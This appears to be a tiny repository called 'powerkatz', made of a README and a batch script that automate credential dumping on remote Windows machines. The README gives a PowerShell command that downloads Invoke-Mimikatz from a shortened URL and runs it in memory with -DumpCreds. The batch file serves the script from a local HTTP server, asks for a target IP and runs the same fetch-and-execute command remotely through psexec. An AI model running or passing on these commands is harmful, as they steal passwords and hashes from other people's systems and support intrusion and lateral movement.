├── README.md └── ps.bat /README.md: -------------------------------------------------------------------------------- 1 | # powerkatz 2 | 3 | idea from powershell + mimikatz command line 4 | powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 5 | 6 | http://is.gd/oeoFuI is Invoke-Mimikatz.ps1 download this powershell file and put it in a local http server, such as hfs.exe. 7 | 8 | combine psexec.exe and above powershell to a batch file to auto execute. 9 | 10 | 11 | -------------------------------------------------------------------------------- /ps.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | start /min C:\Users\Administrator\Desktop\hfs.exe REM start hfs.exe and minimus windows 4 | 5 | set /p var=Target IP addr: 6 | echo %var% 7 | psexec \\%var% cmd.exe /c powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.xxx/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" 8 | 9 | pause 10 | --------------------------------------------------------------------------------